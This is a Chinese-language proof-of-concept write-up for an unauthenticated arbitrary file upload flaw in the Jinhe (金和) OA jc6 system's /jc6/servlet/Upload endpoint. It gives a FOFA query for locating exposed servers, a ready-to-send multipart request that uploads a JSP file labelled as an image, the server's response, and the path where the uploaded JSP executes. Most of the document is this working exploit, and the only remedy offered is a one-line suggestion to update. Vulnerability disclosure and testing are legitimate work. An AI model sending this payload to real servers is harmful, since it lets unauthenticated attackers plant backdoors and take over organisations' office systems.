

# J1-9金和-OA-文件上传

## 漏洞描述：

金和OA jc6系统/jc6/servlet/Upload接口处存在任意文件上传漏洞，未经身份认证的攻击者可利用此漏洞上传恶意后门文件，最终可导致服务器失陷。

## 影响版本：

- 金和 OA

## 网络测绘：

### fofa语法：

FOFA: body="/jc6/platform/sys/login"

## 漏洞复现：

payload:

```
POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=%setpath=/upload/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK

-----WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="img"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("Hello, World!"); %>
-----WebKitFormBoundary5iALAXlSiqxJXrhK
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=/upload/ HTTP/1.1

2 Host: 1

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0

4 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK

5

6 -----WebKitFormBoundary5iALAXlSiqxJXrhK

7 Content-Disposition: form-data; name="img"; filename="1.jsp"

8 Content-Type: image/jpeg

9

10 <% out.println("Hello, World!"); %>

11 -----WebKitFormBoundary5iALAXlSiqxJXrhK

Responses 197bytes / 32ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=C9C7AA186CE89333137

4 Content-Type: text/html; charset=utf-8

5 Date: Mon, 15 Jan 2024 11:34:39 GMT

6 Content-Length: 197

7

8 <script>var arr=new Array();arr[0]=parent.close();</script>

验证url

/jc6/upload/回显的文件名

< > ↻

⚠ 不安全

/jc6/upload/402881848d0a0b00018d0ce6f4c250fa.jsp

Hello, World!

## 修复建议：

更新到最新系统